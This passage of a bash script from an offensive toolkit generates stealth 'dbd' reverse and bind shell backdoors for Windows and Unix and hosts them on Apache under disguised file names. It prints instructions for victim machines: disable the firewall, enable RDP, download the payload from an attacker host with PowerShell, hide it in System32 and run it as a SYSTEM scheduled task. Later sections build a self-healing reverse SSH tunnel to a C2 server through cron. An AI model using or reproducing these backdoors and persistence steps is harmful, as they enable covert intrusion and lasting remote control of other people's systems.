echo -e "\e[1;34mGenerating your payload...\e[0m"
echo ""
sed "/HOST/s/attackerip/$attackerip/g" ~/ATAT/misc/dbd/conf/dbd_win_reverse.conf > ~/ATAT/misc/dbd/dbd_win_reverse1.conf
sed "/PORT/s/attackerport/$attackerport/g" ~/ATAT/misc/dbd/dbd_win_reverse1.conf > ~/ATAT/misc/dbd/dbd_win_reverse2.conf
sed "/SHARED_SECRET/s/attackersecret/$attackersecret/g" ~/ATAT/misc/dbd/dbd_win_reverse2.conf > ~/ATAT/misc/dbd/dbd.h
rm ~/ATAT/misc/dbd/dbd_win_reverse1.conf
rm ~/ATAT/misc/dbd/dbd_win_reverse2.conf
cd ~/ATAT/misc/dbd/
make mingw-cross CFLAGS=-DSTEALTH
cp ~/ATAT/misc/dbd/dbd.exe /var/www/html/winmgnt.txt
cp ~/ATAT/taskmgnt.txt /var/www/html/taskmgnt.txt
chown www-data:www-data /var/www/html/winmgnt.txt
chown www-data:www-data /var/www/html/taskmgnt.txt
clear
#rm dbd.exe
SERVICE=Apache;
secs=$(date '+%S');
if service apache2 status | grep -v grep | grep running > /dev/null
then
echo "$SERVICE service running"
else
echo "$SERVICE is not running, Starting service."
service apache2 start
fi
cd ~/ATAT
echo -e "\E[1;34m\e[97m \e[31mStarting Apache server to host payloads...\e[97m\E[1;34m"
echo -e "\e[1;34mDone! Your payload is located at /var/www/html/winmgnt.txt (change to EXE for manual deployment)\e[0m"
echo ""
read -p "Would you like me to launch a listener [y|n]? " listener
echo ""
if [ "$listener" == "y" ]; then
x-terminal-emulator -e dbd -lvp $attackerport -k $attackersecret &
read -p "Press any key to contiue" enter
clear
else
echo -e "\e[1;34mWhen you are ready to receive your shell in your terminal enter:\e[0m"
echo "dbd -lvp $attackerport -k $attackersecret"
echo ""
read -p "Press any key to contiue" enter
clear
fi
echo "While this backdoor is self healing; it will not auto start at reboot."
echo "To get your shell back after a reboot, open the firewall, & enable RDP, enter the following on the target (commands in RED, one command per line):"
echo ""
echo "INSTRUCTIONS FROM A WINDOWS TERMINAL SHELL:"
echo -e "\E[1;34m\e[97m \e[31mnetsh firewall set opmode disable\e[97m - This disables the firewall totally (optional depending on target/goals)\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mreg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\e[97m- This enables RDP, step 1 (optional depending on target/goals)\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mreg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fAllowToGetHelp /t REG_WORD /d 1 /f\e[97m - This enables RDP, step 2 (optional depending on target/goals)\E[1;34m"
echo ""
echo "Now move the \"taskmgnt.txt\" & \"winmgnt.txt\" files to the target, rename & hide them, then launch backdoor with MS signed ofuscated PsExec. Run the first 3 delete & kill commands to remove the files first; only if you have already moved them to the target and you wish to re-run this process."
echo -e "\E[1;34m\e[97m \e[31mdel /A:H \"%WINDIR%\\System32\\\taskmgnt.exe\"\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mtaskkill /F /IM winmgnt.exe\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mdel /A:H \"%WINDIR%\\System32\\winmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mpowershell (new-object System.Net.WebClient).DownloadFile('http://<ATTACKER_IPADDRESS>/winmgnt.txt','%WINDIR%\System32\winmgnt.exe')\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mpowershell (new-object System.Net.WebClient).DownloadFile('http://<ATTACKER_IPADDRESS>/taskmgnt.txt','%WINDIR%\System32\\\taskmgnt.exe')\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mattrib +H +S \"%WINDIR%\System32\winmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mattrib +H +S \"%WINDIR%\System32\\\taskmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31m%WINDIR%\System32\\\taskmgnt.exe -i -d -s /accepteula %WINDIR%\System32\winmgnt.exe\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mschtasks /create /sc onstart /tn WindowsMgr /rl highest /ru SYSTEM /tr \"%WINDIR%\System32\winmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo "INSTRUCTIONS FROM A METERPRETER SHELL:"
echo -e "\E[1;34m\e[97mmeterpreter > \e[31mupload '/root/ATAT/DBD_reboot.bat' %WINDIR%\\\\\System32\\\\\DBD_reboot.bat\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97mmeterpreter > \e[31mshell\e[97m\E[1;34m"
echo "Now from the Windows Terminal:"
echo -e "\E[1;34m\e[97m \e[31mcd\windows\system32\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mDBD_reboot.bat\e[97m\E[1;34m"
;;
"Windows DBD Bind Shell")
read -p "What port would you like the victim be listening on? (RPORT)" attackerport
echo ""
read -p "What would you like the shared secret to be on your secure connection? " attackersecret
echo ""
echo -e "\e[1;34mGenerating your payload...\e[0m"
echo ""
sleep 3
sed "/PORT/s/attackerport/$attackerport/g" ~/ATAT/misc/dbd/conf/dbd_win_bind.conf > ~/ATAT/misc/dbd/dbd_win_bind1.conf
sed "/SHARED_SECRET/s/attackersecret/$attackersecret/g" ~/ATAT/misc/dbd/dbd_win_bind1.conf > ~/ATAT/misc/dbd/dbd.h
rm ~/ATAT/misc/dbd/dbd_win_bind1.conf
cd ~/ATAT/misc/dbd/
make mingw-cross CFLAGS=-DSTEALTH
cp ~/ATAT/misc/dbd/dbd.exe /var/www/html/winmgnt.txt
cp ~/ATAT/taskmgnt.txt /var/www/html/taskmgnt.txt
chown www-data:www-data /var/www/html/winmgnt.txt
chown www-data:www-data /var/www/html/taskmgnt.txt
clear
#rm dbd.exe
SERVICE=Apache;
secs=$(date '+%S');
if service apache2 status | grep -v grep | grep running > /dev/null
then
echo "$SERVICE service running"
else
echo "$SERVICE is not running, Starting service."
service apache2 start
fi
cd ~/ATAT
echo -e "\E[1;34m\e[97m \e[31mStarting Apache server to host payloads...\e[97m\E[1;34m"
echo -e "\e[1;34mDone! Your payload is located at /var/www/html/winmgnt.txt (change to EXE for manual deployment)\e[0m"
echo ""
echo -e "\e[1;34mWhen you are ready to connect to the victim, in your terminal enter:\e[0m"
echo "dbd -nv victim.host.orip -p $attackerport -k $attackersecret"
echo ""
read -p "Press any key to contiue" enter
clear
echo "While this backdoor is self healing; it will not auto start at reboot."
echo "To get your shell back after a reboot, open the firewall, & enable RDP, enter the following on the target (commands in RED, one command per line):"
echo ""
echo "INSTRUCTIONS FROM A WINDOWS TERMINAL SHELL:"
echo -e "\E[1;34m\e[97m \e[31mnetsh firewall set opmode disable\e[97m - This disables the firewall totally (optional depending on target/goals)\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mreg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\e[97m- This enables RDP, step 1 (optional depending on target/goals)\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mreg add \"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\" /v fAllowToGetHelp /t REG_WORD /d 1 /f\e[97m - This enables RDP, step 2 (optional depending on target/goals)\E[1;34m"
echo ""
echo "Now move the \"taskmgnt.txt\" & \"winmgnt.txt\" files to the target, rename & hide them, then launch backdoor with MS signed ofuscated PsExec. Run the first 3 delete & kill commands to remove the files first; only if you have already moved them to the target and you wish to re-run this process."
echo -e "\E[1;34m\e[97m \e[31mdel /A:H \"%WINDIR%\\System32\\\taskmgnt.exe\"\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mtaskkill /F /IM winmgnt.exe\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mdel /A:H \"%WINDIR%\\System32\\winmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mpowershell (new-object System.Net.WebClient).DownloadFile('http://<ATTACKER_IPADDRESS>/winmgnt.txt','%WINDIR%\System32\winmgnt.exe')\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mpowershell (new-object System.Net.WebClient).DownloadFile('http://<ATTACKER_IPADDRESS>/taskmgnt.txt','%WINDIR%\System32\\\taskmgnt.exe')\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mattrib +H +S \"%WINDIR%\System32\winmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mattrib +H +S \"%WINDIR%\System32\\\taskmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31m%WINDIR%\System32\\\taskmgnt.exe -i -d -s /accepteula %WINDIR%\System32\winmgnt.exe\e[97m\E[1;34m"
echo ""
echo -e "\E[1;34m\e[97m \e[31mschtasks /create /sc onstart /tn WindowsMgr /rl highest /ru SYSTEM /tr \"%WINDIR%\System32\winmgnt.exe\"\e[97m\E[1;34m"
echo ""
echo "INSTRUCTIONS FROM A METERPRETER SHELL:"
echo -e "\E[1;34m\e[97mmeterpreter > \e[31mupload '/root/ATAT/DBD_reboot.bat' %WINDIR%\\\\\System32\\\\\DBD_reboot.bat\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97mmeterpreter > \e[31mshell\e[97m\E[1;34m"
echo "Now from the Windows Terminal:"
echo -e "\E[1;34m\e[97m \e[31mcd\windows\system32\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mDBD_reboot.bat\e[97m\E[1;34m"
;;
"Linux/NetBSD/FreeBSD/OpenBSD DBD Reverse Shell")
clear
read -p "Where shall I send your persistent shell? (LHOST)" attackerip
echo ""
read -p "What port will you be listening on? (LPORT)" attackerport
echo ""
read -p "What would you like the shared secret to be on your secure connection? " attackersecret
echo ""
echo -e "\e[1;34mGenerating your payload...\e[0m"
echo ""
sleep 3
sed "/HOST/s/attackerip/$attackerip/g" ~/ATAT/misc/dbd/conf/dbd_unix_reverse.conf > ~/ATAT/misc/dbd/dbd_unix_reverse1.conf
sed "/PORT/s/attackerport/$attackerport/g" ~/ATAT/misc/dbd/dbd_unix_reverse1.conf > ~/ATAT/misc/dbd/dbd_unix_reverse2.conf
sed "/SHARED_SECRET/s/attackersecret/$attackersecret/g" ~/ATAT/misc/dbd/dbd_unix_reverse2.conf > ~/ATAT/misc/dbd/dbd.h
rm ~/ATAT/misc/dbd/dbd_unix_reverse1.conf
rm ~/ATAT/misc/dbd/dbd_unix_reverse2.conf
cd ~/ATAT/misc/dbd/
make unix
chmod +x dbd
cp ~/ATAT/misc/dbd/dbd /var/www/html
chown www-data:www-data /var/www/html/dbd
echo -e "\E[1;34m\e[97m \e[31mStarting Apache server to host payloads...\e[97m\E[1;34m"
SERVICE=Apache;
secs=$(date '+%S');
if service apache2 status | grep -v grep | grep running > /dev/null
then
echo "$SERVICE service running"
else
echo "$SERVICE is not running, Starting service."
service apache2 start
fi
#rm dbd
#clear
cd ~/ATAT
echo -e "\e[1;34mDone! Your payload is located at /var/www/html...\e[0m"
echo ""
read -p "Would you like me to launch a listener [y|n]? " listener
echo ""
if [ "$listener" == "y" ]; then
x-terminal-emulator -e dbd -lvp $attackerport -k $attackersecret &
read -p "Press any key to contiue" enter
clear
else
echo -e "\e[1;34mWhen you are ready to receive your shell in your terminal enter:\e[0m"
echo "dbd -lvp $attackerport -k $attackersecret"
echo ""
read -p "Press any key to contiue" enter
clear
fi
;;
"Linux/NetBSD/FreeBSD/OpenBSD DBD Bind Shell")
clear
read -p "What port would you like the victim be listening on? (RPORT)" attackerport
echo ""
read -p "What would you like the shared secret to be on your secure connection? " attackersecret
echo ""
echo -e "\e[1;34mGenerating your payload...\e[0m"
echo ""
sleep 3
sed "/HOST/s/attackerport/$attackerport/g" ~/ATAT/misc/dbd/conf/dbd_unix_bind.conf > ~/ATAT/misc/dbd/dbd_unix_bind1.conf
sed "/SHARED_SECRET/s/attackersecret/$attackersecret/g" ~/ATAT/misc/dbd/dbd_unix_bind1.conf > ~/ATAT/misc/dbd/dbd.h
rm ~/ATAT/misc/dbd/dbd_unix_bind1.conf
cd ~/ATAT/misc/dbd/
make unix
chmod +x dbd
cp ~/ATAT/misc/dbd/dbd /var/www/html
chown www-data:www-data /var/www/html/dbd
echo -e "\E[1;34m\e[97m \e[31mStarting Apache server to host payloads...\e[97m\E[1;34m"
SERVICE=Apache;
secs=$(date '+%S');
if service apache2 status | grep -v grep | grep running > /dev/null
then
echo "$SERVICE service running"
else
echo "$SERVICE is not running, Starting service."
service apache2 start
fi
#rm dbd
clear
cd ~/ATAT
echo -e "\e[1;34mDone! Your payload is located at /var/www/html...\e[0m"
echo ""
echo -e "\e[1;34mWhen you are ready to connect to the victim, in your terminal enter:\e[0m"
echo "dbd -nv victim.host.orip -p $attackerport -k $attackersecret"
echo ""
read -p "Press any key to contiue" enter
clear
;;
"DBD Reboot Persistence Generator - Windows")
read -p 'Set LHOST IP or Domain Name & Port (if necessary i.e., 1.1.1.1 OR 1.1.1.1:8080): ' userhost;
touch ~/ATAT/DBD_reboot.bat
echo del /A:H \"%WINDIR%\\System32\\taskmgnt.exe\" > ~/ATAT/DBD_reboot.bat
echo taskkill /F /IM winmgnt.exe >> ~/ATAT/DBD_reboot.bat
echo del /A:H \"%WINDIR%\\System32\\winmgnt.exe\" >> ~/ATAT/DBD_reboot.bat
echo powershell \(new-object System.Net.WebClient\).DownloadFile\(\'http://$userhost/winmgnt.txt\',\'%WINDIR%\\System32\\winmgnt.exe\'\) >> ~/ATAT/DBD_reboot.bat
echo powershell \(new-object System.Net.WebClient\).DownloadFile\(\'http://$userhost/taskmgnt.txt\',\'%WINDIR%\\System32\\taskmgnt.exe\'\) >> ~/ATAT/DBD_reboot.bat
echo attrib +H +S \"%WINDIR%\\System32\\winmgnt.exe\" >> ~/ATAT/DBD_reboot.bat
echo attrib +H +S \"%WINDIR%\\System32\\\taskmgnt.exe\" >> ~/ATAT/DBD_reboot.bat
echo %WINDIR%\\System32\\\taskmgnt.exe -i -d -s /accepteula %WINDIR%\\System32\\winmgnt.exe >> ~/ATAT/DBD_reboot.bat
echo schtasks /create /sc onstart /tn WindowsMgr /rl highest /ru SYSTEM /tr \"%WINDIR%\\System32\\winmgnt.exe\" >> ~/ATAT/DBD_reboot.bat
echo -e "\E[1;34m::::: \e[97mDBD_reboot.bat saved to ~/ATAT. Upload to device in %WINDIR%\System32\ and run from a SYSTEM shell in that same directory.\E[1;34m:::::"
;;
"Configure C2 Server For Persistent SSH Session")
echo -e "\e[1;34mRun This Once Before You Run The \"Client Connector Generator SSH\" Option \e[0m"
echo -e "\e[1;34mONLY RUN THIS *ONCE* ON YOUR COMMAND & CONTROL SERVER!! \e[0m"
sed -i -e '0,/PubkeyAuthentication/!b' -e '/PubkeyAuthentication/s/^#//' /etc/ssh/sshd_config
sed -i -e '0,/PasswordAuthentication/!b' -e '/PasswordAuthentication/s/^#//' /etc/ssh/sshd_config
sed -i -e '0,/AuthorizedKeysFile/!b' -e '/AuthorizedKeysFile/s/^#//' /etc/ssh/sshd_config
read -p "Are you logged in as root [y|n]? " rootuser
echo ""
if [ "$rootuser" == "y" ]; then
sed -i -e '0,/PermitRootLogin/!b' -e '/PermitRootLogin/s/^#//' /etc/ssh/sshd_config
#Uncomment PermitRootLogin
sed -i "/PermitRootLogin/s/prohibit-password/yes/" /etc/ssh/sshd_config
#Change PermitRootLogin to yes
echo ""
echo -e "\e[1;34mSSH root user login with password temporarily enabled..\e[0m"
read -p "Press any key to contiue" enter
clear
else
echo ""
fi
#Uncomment PermitRootLogin, leaves root account open to brute force attacks; but needed for Kali, root users, etc.
#sed -i -e '0,/PermitRootLogin/!b' -e '/PermitRootLogin/s/^#//' /etc/ssh/sshd_config (verified command works)
#Added step to disable password based SSH auth once cert auth setup is complete; this should resolve any brute-force vuln
#On Kali (or any OS where you are logged in as root) you need to set "PermitRootLogin yes" until the setup is complete
#sed -i "/PermitRootLogin/s/prohibit-password/yes/" /etc/ssh/sshd_config (verified command works)
#Once complete set "PermitRootLogin prohibit-password" needs to be set so the root account cannat be ssh brute-forced
#sed -i "/PermitRootLogin/s/yes/prohibit-password/" /etc/ssh/sshd_config
service ssh restart
echo -e "\e[1;34mHit \"Enter\" Twice To Accept No Passphrase\e[0m"
ssh-keygen -t rsa -f ~/.ssh/at_rsa
echo -e "\e[1;34m**Move ~/.ssh/at_rsa.pub To Target (Must Be Placed In ~/.ssh/)**\e[0m"
echo -e "\e[1;34mExample Command:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mscp ~/.ssh/at_rsa.pub TARGET_USERNAME@TARGET_IP:~/.ssh/\e[97m\E[1;34m"
echo -e "\e[1;34mOR\e[0m"
echo -e "\e[1;34m(\"cd\" into the directory where the file resides, then..)\e[0m"
echo -e "\e[1;34mHost The File With This Command:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mpython -m SimpleHTTPServer\e[97m\E[1;34m"
echo -e "\e[1;34mThen Use wget or curl From Target To Pull File Down\e[0m"
echo -e "\e[1;34m(ON THE TARGET \"cd\" into the directory where the file is to be placed, then..)\e[0m"
echo -e "\e[1;34mExample Command:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mwget http://C2_IP_ADDRESS:8000/at_rsa.pub\e[97m\E[1;34m"
read -p "Press Enter When Ready To Proceed"
echo -e "\e[1;34m**YOUR at_rsa.pub KEY *MUST* BE ADDED TO THE ~/.ssh/authorized_keys FILE ON YOUR TARGET**\e[0m"
echo -e "\e[1;34m::::::::::::THE FOLLOWING STEP IS TO BE DONE ON YOUR TARGET::::::::::::\e[0m"
echo -e "\E[1;34m\e[97m \e[31mcat ~/.ssh/at_rsa.pub >> ~/.ssh/authorized_keys\e[97m\E[1;34m"
echo ""
;;
"Persistent SSH Session Generator")
echo -e "\e[1;31mRUN \"Configure C2 Server For Persistent SSH Session\" STEP ON ATTACKER BOX FIRST!\e[0m"
echo -e "\e[1;34mStep 1 - Enable SSH Public Key & Password Authentication On Target By Running This Command On Target:\e[0m"
echo ""
echo -e "\E[1;34m\e[97m \e[31msudo sed -i -e '0,/PubkeyAuthentication/!b' -e '/PubkeyAuthentication/s/^#//' /etc/ssh/sshd_config && sudo sed -i -e '0,/PasswordAuthentication/!b' -e '/PasswordAuthentication/s/^#//' /etc/ssh/sshd_config && sudo sed -i -e '0,/AuthorizedKeysFile/!b' -e '/AuthorizedKeysFile/s/^#//' /etc/ssh/sshd_config\e[97m\E[1;34m"
#Remove ssh_config edit that is contained in the line below
#echo -e "\E[1;34m\e[97m \e[31msed -i -e '0,/PubkeyAuthentication/!b' -e '/PubkeyAuthentication/s/^#//' /etc/ssh/sshd_config && sed -i -e '0,/PasswordAuthentication/!b' -e '/PasswordAuthentication/s/^#//' /etc/ssh/sshd_config && sed -i -e '0,/AuthorizedKeysFile/!b' -e '/AuthorizedKeysFile/s/^#//' /etc/ssh/sshd_config && sed -i -e '0,/PasswordAuthentication/!b' -e '/PasswordAuthentication/s/^#//' /etc/ssh/ssh_config\e[97m\E[1;34m"
#Maybe needed to prevent ssh brutforce vuln?
#sed -i -e '0,/PermitRootLogin/!b' -e '/PermitRootLogin/s/^#//' /etc/ssh/sshd_config
#Added step to disable password based SSH auth once cert auth setup is complete; this should resolve any brute-force vuln
read -p "Is your compromised target logged in as root [y|n]? " rootuser
echo ""
if [ "$rootuser" == "y" ]; then
echo -e "\e[1;34mEnable SSH root User Login via Password Authentication On Target By Running This Command On Target: \e[0m"
echo -e "\E[1;34m\e[97m \e[31msed -i -e '0,/PermitRootLogin/!b' -e '/PermitRootLogin/s/^#//' /etc/ssh/sshd_config && sed -i \"/PermitRootLogin/s/prohibit-password/yes/\" /etc/ssh/sshd_config\e[97m\E[1;34m"
#Uncomment PermitRootLogin
#Change PermitRootLogin to yes
echo ""
echo -e "\e[1;34mSSH root user login with password temporarily enabled..\e[0m"
read -p "Press any key to contiue" enter
clear
else
echo "No additional changes required. Moving on.."
fi
echo ""
read -p "Press Enter When Ready To Proceed"
echo ""
echo -e "\e[1;34m**Step 2 - Create The Persistence (Self Healing SSH Connection) Script To Run On Your Target**\e[0m"
read -p 'Set Local SSH Port On Target (i.e., 1081): ' userlport; read -p 'Set SSH Port On C2 Server (i.e., 22): ' userrport; read -p 'Set Username On C2 Server: ' username; read -p 'Set IP/Domain Name Of C2 Server: ' userhost;
touch ~/ATAT/.hosts
echo -e "#!/bin/bash" > ~/ATAT/.hosts
echo -e "if ps ax | grep -v grep | grep \"ssh -N -R\" > /dev/null" >> ~/ATAT/.hosts
echo -e "then" >> ~/ATAT/.hosts
echo -e " echo \"Tunnel running\"" >> ~/ATAT/.hosts
echo -e "else" >> ~/ATAT/.hosts
echo -e " echo \"Tunnel is not running, Starting service.\"" >> ~/ATAT/.hosts
echo -e " ssh -N -R "$userlport":localhost:"$userrport" "$username"@"$userhost"" >> ~/ATAT/.hosts
echo -e "fi" >> ~/ATAT/.hosts
echo -e "\e[1;34m**Step 3 - Move ~/ATAT/.hosts Script To Target (Recommend Placing It In ~/.ssh/)**\e[0m"
echo -e "\e[1;34mExample Command:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mscp ~/ATAT/.hosts TARGET_USERNAME@TARGET_IP:~/.ssh\e[97m\E[1;34m"
echo -e "\e[1;34mOR\e[0m"
echo -e "\e[1;34m(\"cd\" into the directory where the file resides, then..)\e[0m"
echo -e "\e[1;34mHost The File With This Command:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mpython -m SimpleHTTPServer\e[97m\E[1;34m"
echo ""
echo -e "\e[1;34m::::::::::::THESE FOLLOWING STEPS ARE TO BE DONE ON YOUR TARGET::::::::::::\e[0m"
echo -e "\e[1;34mThen Use wget or curl From Target To Pull File Down\e[0m"
echo -e "\e[1;34m(ON THE TARGET \"cd\" into the directory where the file is to be placed, then..)\e[0m"
echo -e "\e[1;34mExample Command:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mwget http://C2_IP_ADDRESS:8000/.hosts\e[97m\E[1;34m"
read -p "Press Enter When Ready To Proceed"
echo ""
echo -e "\e[1;34m**Step 4 - Make Script Executable By Running This Command In Terminal On Your Target (Your Teminal Window Must \"cd\" Into The Directory Where You Placed The Script):**\e[0m"
echo -e "\E[1;34m\e[97m \e[31mchmod +x .hosts\e[97m\E[1;34m"
echo ""
read -p "Press Enter When Ready To Proceed"
echo -e "\e[1;34m**Step 5 - Make Script Monitor & Repair The Connetion When Necessary**\e[0m"
echo -e "\e[1;34mNow Start The Crontab (Schedule The Job) With This Command:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mcrontab -e\e[97m\E[1;34m"
echo -e "\e[1;34mPlace the line below in as your cron job (a once per minute check to see if the ssh connection is up, if not, attempt to bring it up):\e[0m"
echo ""
echo -e "\e[1;34mMAKE SURE To Enter YOUR Correct Path For The .hosts File & The SSH Log File!!\e[0m"
echo -e "\E[1;34m\e[97m \e[31m*/1 * * * * /path/to/.hosts > /home/<user>/.ssh/tunnel.log 2>&1\e[97m\E[1;34m"
read -p "Press Enter When Ready To Proceed"
echo ""
echo -e "\e[1;34m**Step 6 - Generate SSH Authentication Certificate On Target & Move Public Key To C2 Server**\e[0m"
echo -e "\e[1;34mRun This Command On Your Target:\e[0m"
echo -e "\E[1;34m\e[97m \e[31mssh-keygen -t rsa\e[97m\E[1;34m"
echo -e "\e[1;34mHit Enter To Accept All Defaults\e[0m"
cat << "EOF"
Your private key will be generated using the default filename (e.g., id_rsa) and stored on your Target in a .ssh directory off your home directory (e.g., ~/.ssh/id_rsa).
The corresponding public key will be generated using the same filename (but with a .pub extension added) and stored in the same location (e.g., ~/.ssh/id_rsa.pub).
Use SCP to copy the public key file (e.g., ~/.ssh/id_rsa.pub) to your C2 Server, using this command:
EOF
echo -e "\E[1;34m\e[97m \e[31mscp ~/.ssh/id_rsa.pub "$username"@"$userhost":~/.ssh/tgt_id_rsa.pub \e[97m\E[1;34m"
echo ""
echo -e "\e[1;34mYou'll be prompted for your account password and, possibly to accept the SSH certificate (type \"yes\" in that case. Your public key will be copied to ~/.ssh/tgt_id_rsa.pub\e[0m"
read -p "Press Enter When Ready To Proceed"
echo ""
echo -e "\e[1;34m::::::::::::THESE FOLLOWING STEPS ARE TO BE DONE ON YOUR C2 Server::::::::::::\e[0m"
echo ""
echo -e "\e[1;34m**Step 7 - Make Sure You Have Run The \"Configure C2 Server For Persistent SSH Session\" Option On The C2 Server So It Is Ready To Accept The Connection**\e[0m"
cat << "EOF"
Also, you need to add your Target's public key to the ~/.ssh/authorized_keys file. If you do not have a ~/.ssh/authorized_keys file, you can create one as follows:
EOF
echo -e "\E[1;34m\e[97m \e[31mmkdir -p ~/.ssh\e[97m\E[1;34m"
echo -e "\E[1;34m\e[97m \e[31mtouch ~/.ssh/authorized_keys\e[97m\E[1;34m"
cat << "EOF"
On the C2 Server, add the contents of your public key file (e.g., ~/.ssh/tgt_id_rsa.pub) to a new line in your ~/.ssh/authorized_keys file; on the command line, enter:
EOF
echo -e "\E[1;34m\e[97m \e[31mcat ~/.ssh/tgt_id_rsa.pub >> ~/.ssh/authorized_keys\e[97m\E[1;34m"
cat << "EOF"
You may want to check the contents of ~/.ssh/authorized_keys to make sure your public key was added properly.
Once your public key is added to your ~/.ssh/authorized_keys file on the C2 Server, you should now be able to SSH in with your private key.
EOF
read -p "Press Enter When Ready To Proceed"
echo ""
echo -e "\e[1;34mTo Connect To Target From C2 Server Enter The Following Command In Terminal (On C2 Server) \e[0m"
echo -e "\E[1;34m\e[97m \e[31mssh -l TARGET_USERNAME -p "$userlport" localhost \e[97m\E[1;34m"
echo -e "\e[1;34m**MAKE SURE** To Enter The Correct Username For The Target. Then Enter The SSH Password For The Target When Prompted. \e[0m"
echo ""
read -p "Press Enter When Ready To Proceed"
echo -e "\e[1;34m:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\e[0m"
echo -e "\e[1;34m:::::::::::THE FOLLOWING STEP IS TO BE DONE ON YOUR TARGET & C2 TO DISABLE SSH PASSWORD AUTH:::::::::::\e[0m"
echo -e "\e[1;34mThis only needs to be done if you do *not* need SSH password based authentication enabled on either host;\e[0m"
echo -e "\e[1;34mand can be done because certificate based authentication is now setup; therefore, password auth is no longer required\e[0m"
echo -e "\E[1;34m\e[97m \e[31msed -i -e '0,/PasswordAuthentication/!b' -e '/PasswordAuthentication/s/^/#/' /etc/ssh/sshd_config\e[97m\E[1;34m"
echo ""
echo -e "\e[1;34mAgain, this step to disable SSH password authentication is OPTIONAL\e[0m"
echo ""
echo -e "\e[1;34m***IF YOUR C2 AND/OR TARGET ARE LOGGED IN AS ROOT:***\e[0m"
echo -e "\e[1;34mSSH password auth for the root user was enabled for the setup process.\e[0m"
echo -e "\e[1;34mYou *NEED* to enter this command on your C2 and/or Target to prevent brute-force attacks against the root user.\e[0m"
echo ""
echo -e "\E[1;34m\e[97m \e[31msed -i \"/PermitRootLogin/s/yes/prohibit-password/\" /etc/ssh/sshd_config && service ssh restart\e[97m\E[1;34m"
echo ""
echo -e "\e[1;34mRun script (.hosts) file manually once from target to accept fingerprint prompt\e[0m"
echo -e "\e[1;31./.hosts\e[0m"
echo "No additional changes for setup are required."
echo""
read -p "Press Enter When Ready To Proceed"
echo ""
echo -e "\e[1;34m***TROUBLESHOOTING STEPS AND PI/DROPBOX ADDENDUM***\e[0m"
echo -e "\e[1;34mOwnership of all pub keys (on both target and C2) and .hosts script (on target) need to be set to user of their respective machine. \e[0m"
echo -e "\e[1;34mi.e., sudo chown user:root at_rsa.pub - sudo chown user:root tgt_rsa.pub - sudo chown user:root ~/.ssh/.hosts - etc. \e[0m"
echo -e "\e[1;34mlocalhost port setting needs to be somewhat high around 2000 (keep it well above 1024) \e[0m"
echo -e "\e[1;34mSSH port has to be set to the SAME port on target and C2 (if non-standard SSH port is used) \e[0m"
echo -e "\e[1;34mcustom port usage also requires a modification to the script command \e[0m"
echo -e "\e[1;31mssh -N -R 1080(LOCALHOST_PORT):localhost:2222(CUSTOM_SSHPORT) -p 2222(CUSTOM_SSHPORT) root@external_C2_address.com \e[0m"
echo -e ""
echo -e "\e[1;34mRaspberry Pi / Dropbox Networking Config Help \e[0m"
echo -e "\e[1;34mTo get wifi to connect on boot: \e[0m"
echo -e "\e[1;34m/etc/network/interfaces Should look like the example below: \e[0m"
echo -e "\e[1;34mauto lo\e[0m"
echo -e "\e[1;34miface lo inet loopback\e[0m"
echo -e "\e[1;34mauto eth0\e[0m"
echo -e "\e[1;34miface eth0 inet dhcp\e[0m"
echo -e "\e[1;34mauto wlan0\e[0m"
echo -e "\e[1;34mallow-hotplug wlan0\e[0m"
echo -e "\e[1;34miface wlan0 inet dhcp\e[0m"
echo -e "\e[1;34mwpa-ssid [WiFi Name]\e[0m"
echo -e "\e[1;34mwpa-psk [WiFi Password] \e[0m"
echo ""
echo "No additional changes for dropbox configuration are required."
echo ""
echo -e "\e[1;34m:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\e[0m"
echo -e "\e[1;34m::::::::::::THESE FOLLOWING STEPS ARE TO BE DONE ON YOUR TARGET ONCE ENGAGEMENT IS COMPLETE::::::::::::\e[0m"
echo -e "\e[1;34m****CLEAN UP NOTES FOR SSH CONFIG ON TARGET****\e[0m"
